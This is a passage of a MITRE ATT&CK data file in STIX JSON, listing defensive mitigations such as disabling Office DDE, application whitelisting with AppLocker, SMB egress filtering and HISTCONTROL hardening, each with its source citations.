            "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)\n\nEnsure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)\n\nOn Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1173",
                    "external_id": "T1173"
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                {
                    "source_name": "Microsoft DDE Advisory Nov 2017",
                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
                    "url": "https://technet.microsoft.com/library/security/4053440"
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                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017"
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                    "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b",
                    "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.",
                    "source_name": "GitHub Disable DDEAUTO Oct 2017"
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                    "source_name": "Microsoft ADV170021 Dec 2017",
                    "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021"
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                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
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                    "source_name": "Enigma Reviving DDE Jan 2018",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
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                    "url": "https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction",
                    "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.",
                    "source_name": "Microsoft ASR Nov 2017"
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            "name": "Email Collection Mitigation",
            "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1114",
                    "url": "https://attack.mitre.org/mitigations/T1114",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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                    "source_name": "mitre-attack",
                    "external_id": "M1041",
                    "url": "https://attack.mitre.org/mitigations/M1041"
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            "name": "Encrypt Sensitive Information",
            "description": "Protect sensitive information with strong encryption.",
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            "type": "course-of-action",
            "modified": "2019-06-11T16:43:44.834Z",
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                    "external_id": "T1499",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1499"
                },
                {
                    "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.",
                    "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf",
                    "source_name": "CERT-EU DDoS March 2017"
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            ],
            "description": "Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.",
            "name": "Endpoint Denial of Service Mitigation",
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            "type": "course-of-action",
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            "created": "2019-04-22T22:03:26.087Z",
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            "created": "2019-06-11T16:40:14.543Z",
            "modified": "2019-06-11T16:40:14.543Z",
            "type": "course-of-action",
            "id": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6",
            "description": "Prevent modification of environment variables by unauthorized users and groups.",
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                {
                    "source_name": "mitre-attack",
                    "external_id": "M1039",
                    "url": "https://attack.mitre.org/mitigations/M1039"
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1480"
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            ],
            "description": "This technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.",
            "name": "Environmental Keying Mitigation",
            "id": "course-of-action--c61e2da1-f51f-424c-b152-dc930d4f2e70",
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            "description": "Block execution of code on a system through application control, and/or script blocking.",
            "name": "Execution Prevention",
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                    "source_name": "mitre-attack",
                    "external_id": "M1038",
                    "url": "https://attack.mitre.org/mitigations/M1038"
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            "name": "Execution through Module Load Mitigation",
            "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.",
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                    "url": "https://attack.mitre.org/mitigations/T1129",
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            "name": "Exfiltration Over Command and Control Channel Mitigation",
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                    "external_id": "T1041"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "name": "Exfiltration Over Other Network Medium Mitigation",
            "description": "Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1011",
                    "external_id": "T1011"
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                {
                    "url": "https://technet.microsoft.com/library/dd252791.aspx",
                    "description": "Microsoft. (2009, February 9). Disabling Bluetooth and Infrared Beaming. Retrieved July 26, 2018.",
                    "source_name": "Microsoft GPO Bluetooth FEB 2009"
                },
                {
                    "url": "https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/",
                    "description": "Schauland, D. (2009, February 24). Configuring Wireless settings via Group Policy. Retrieved July 26, 2018.",
                    "source_name": "TechRepublic Wireless GPO FEB 2009"
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            "name": "Exfiltration Over Physical Medium Mitigation",
            "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1052",
                    "external_id": "T1052"
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
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                    "source_name": "TechNet Moving Beyond EMET",
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "File System Logical Offsets Mitigation",
            "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1006",
                    "url": "https://attack.mitre.org/mitigations/T1006",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "source_name": "TechNet Applocker vs SRP",
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            "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code>to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.",
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "url": "http://seclists.org/fulldisclosure/2015/Dec/34",
                    "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
                    "source_name": "Seclists Kanthak 7zip Installer"
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                    "url": "https://attack.mitre.org/mitigations/T1083",
                    "source_name": "mitre-attack"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "name": "File and Directory Discovery Mitigation",
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            "id": "course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1",
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            "type": "course-of-action",
            "id": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.",
            "name": "Filter Network Traffic",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "M1037",
                    "url": "https://attack.mitre.org/mitigations/M1037"
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1495"
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            ],
            "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities. ",
            "name": "Firmware Corruption Mitigation",
            "id": "course-of-action--70886857-0f19-4caa-b081-548354a8a994",
            "type": "course-of-action",
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            "created": "2019-04-26T19:30:33.607Z",
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            "name": "Forced Authentication Mitigation",
            "description": "Block SMB  traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1187",
                    "external_id": "T1187"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices",
                    "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.",
                    "source_name": "US-CERT SMB Security"
                },
                {
                    "source_name": "US-CERT APT Energy Oct 2017",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
                }
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Gatekeeper Bypass Mitigation",
            "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1144",
                    "external_id": "T1144"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Graphical User Interface Mitigation",
            "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1061",
                    "url": "https://attack.mitre.org/mitigations/T1061",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
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            "name": "HISTCONTROL Mitigation",
            "description": "Prevent users from changing the <code>HISTCONTROL</code> environment variable (Citation: Securing bash history). Also, make sure that the <code>HISTCONTROL</code> environment variable is set to \u201cignoredup\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1148",
                    "external_id": "T1148"
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                {
                    "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory",
                    "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.",
                    "source_name": "Securing bash history"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hardware Additions Mitigation",
            "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1200",
                    "external_id": "T1200"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/IEEE_802.1X",
                    "description": "Wikipedia. (2018, March 30). IEEE 802.1X. Retrieved April 11, 2018.",
                    "source_name": "Wikipedia 802.1x"
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            "name": "Hidden Files and Directories Mitigation",
            "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1158",
                    "external_id": "T1158"
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            ],
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hidden Users Mitigation",
            "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1147",
                    "external_id": "T1147"
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            "object_marking_refs": [
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            "type": "course-of-action",
            "modified": "2019-07-24T19:36:24.202Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "name": "Hidden Window Mitigation",
            "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1143",
                    "external_id": "T1143"
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            "type": "course-of-action",
            "modified": "2019-07-24T19:36:50.328Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "name": "Hooking Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1179",
                    "external_id": "T1179"
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            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hypervisor Mitigation",
            "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1062",
                    "external_id": "T1062"
                }
            ],
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            "type": "course-of-action",
            "modified": "2019-07-24T19:37:57.004Z",
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            "id": "course-of-action--33f76731-b840-446f-bee0-53687dad24d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Image File Execution Options Injection Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.",
            "external_references": [
                {
                    "external_id": "T1183",
                    "url": "https://attack.mitre.org/mitigations/T1183",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Microsoft IFEOorMalware July 2015",
                    "description": "Microsoft. (2015, July 30). Part of Windows 10 or really Malware?. Retrieved December 18, 2017.",
                    "url": "https://answers.microsoft.com/windows/forum/windows_10-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                }
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            "name": "Indicator Blocking Mitigation",
            "description": "Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1054",
                    "external_id": "T1054"
                },
                {
                    "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal",
                    "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.",
                    "source_name": "Microsoft ETW May 2018"
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            "modified": "2019-07-24T19:39:30.292Z",
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            "name": "Indicator Removal from Tools Mitigation",
            "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1066",
                    "external_id": "T1066"
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
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                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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            "name": "Indicator Removal on Host Mitigation",
            "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1070",
                    "external_id": "T1070"
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            "name": "Indirect Command Execution Mitigation",
            "description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)",
            "external_references": [
                {
                    "external_id": "T1202",
                    "url": "https://attack.mitre.org/mitigations/T1202",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                },
                {
                    "source_name": "SpectorOPs SettingContent-ms Jun 2018",
                    "url": "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39",
